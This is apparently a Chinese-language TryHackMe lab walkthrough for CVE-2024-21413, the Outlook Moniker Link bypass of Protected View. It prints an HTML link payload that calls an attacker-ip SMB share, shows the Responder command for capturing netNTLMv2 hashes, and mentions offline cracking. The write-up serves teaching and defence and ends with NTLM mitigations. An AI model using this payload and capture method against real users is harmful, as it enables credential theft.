TryHackMe 房间演练:CVE-2024-21413,涵盖 Outlook Moniker Link 保护视图绕过、NTLM 哈希泄露以及使用 Responder 进行凭据捕获。
路径: Cyber Security 101 → Exploitation Basics → Moniker Link (CVE-2024-21413) 难度: 高级房间 重点: Outlook 受保护视图绕过、NTLM 哈希泄露,以及使用 Responder 捕获凭据

CVE-2024-21413 是一个严重的 Microsoft Outlook 漏洞,影响应用程序处理特制超链接的方式。通过滥用 file:// Moniker Link 格式并附加一个特殊字符,攻击者可以完全绕过 Outlook 的受保护视图——使 Outlook 在受害者点击链接的瞬间静默地通过 SMB 发起连接并泄露受害者的 NTLM 凭据,无需任何额外交互。
在接触任何工具之前,该房间先梳理了该漏洞的官方分类,以说明这个漏洞究竟有多严重。

该 CVE 被评定为 严重(Critical) 级别——考虑到其影响,这并不令人意外:只需点击一次恶意邮件,就会泄露用户的 Windows 凭据,且不会触发 Outlook 任何常规安全警告。
Outlook 通常会安全地打开 http:// 和 https:// 超链接,甚至会用 受保护视图 标记文件附件,以阻止恶意文档自动发起出站连接。该漏洞利用的是 Moniker Link——一种用于引用外部对象的旧版 Windows OLE 机制——而非标准的 http:// 链接。

有两个因素使该漏洞利用得以奏效:
file://——特制超链接并非指向 Web 资源,而是引用一个文件路径(通常是远程 UNC/SMB 路径,如 \\attacker-ip\share),OLE 对它的处理方式与普通 Web 链接截然不同。!(感叹号) 才是真正触发受保护视图绕过的原因。该字符在 Moniker Link 语法中有特殊含义——它用于分隔链接目标与内部片段/引用,而当它存在时,Outlook 的解析器无法正确应用受保护视图,导致请求立即发出,而不是被沙箱化。综合起来,一个看起来像这样的链接:
<a href="file:///\\attacker-ip\share\test!something">Click here</a>
会使 Outlook 在受害者点击的瞬间静默地向攻击者的机器发起 SMB 连接——全程不会显示任何受保护视图警告。
在理解了投递机制之后,下一步就是搭建监听器,以便在受害者与恶意链接交互时实际捕获凭据。

Responder 是在 AttackBox 上用于捕获泄露凭据的工具。Responder 通过启动伪造的 SMB/LLMNR/NBT-NS 监听服务来工作——因此当 Outlook 的 OLE 解析器访问 Moniker Link 中嵌入的攻击者控制的 UNC 路径时,它会向 Responder 的伪造 SMB 服务进行身份验证,在此过程中泄露 netNTLMv2 哈希。
responder -I <interface>
一旦特制邮件被发送且受害者点击了恶意超链接,Responder 就会捕获传入的身份验证尝试,并将 netNTLMv2 哈希直接输出到终端——可随时进行离线破解(例如使用 hashcat 或 John the Ripper)以恢复受害者的明文密码。
该房间清晰地展示了 URI 解析器中一个被忽视的字符如何能够彻底破坏一项已存在多年的安全控制。受保护视图正是为阻止此类静默出站泄露而设计的——而 Moniker Link 解析方式中的一个字符怪癖就足以完全绕过它。这也很好地提醒了我们,为什么在整个组织范围内禁用 NTLM(或至少强制启用 SMB 签名)仍然是针对这一整类哈希泄露攻击最有效的缓解措施之一。
本房间不涉及任何字面意义上的 CTF 风格 flag——所示的所有截图均为概念性/技术性答案,因它们均不构成对挑战 flag 的直接泄露,故完整呈现。
| 步骤 | 详情 |
|---|
| 漏洞 | CVE-2024-21413 — Outlook Moniker Link 受保护视图绕过 |
| 严重性 | 严重(Critical) |
| 恶意链接类型 | file:// Moniker Link(UNC/SMB 路径) |
| 绕过触发条件 | 链接中的一个 ! 字符 |
| 捕获工具 | Responder |
| 泄露的凭据类型 | netNTLMv2 哈希 |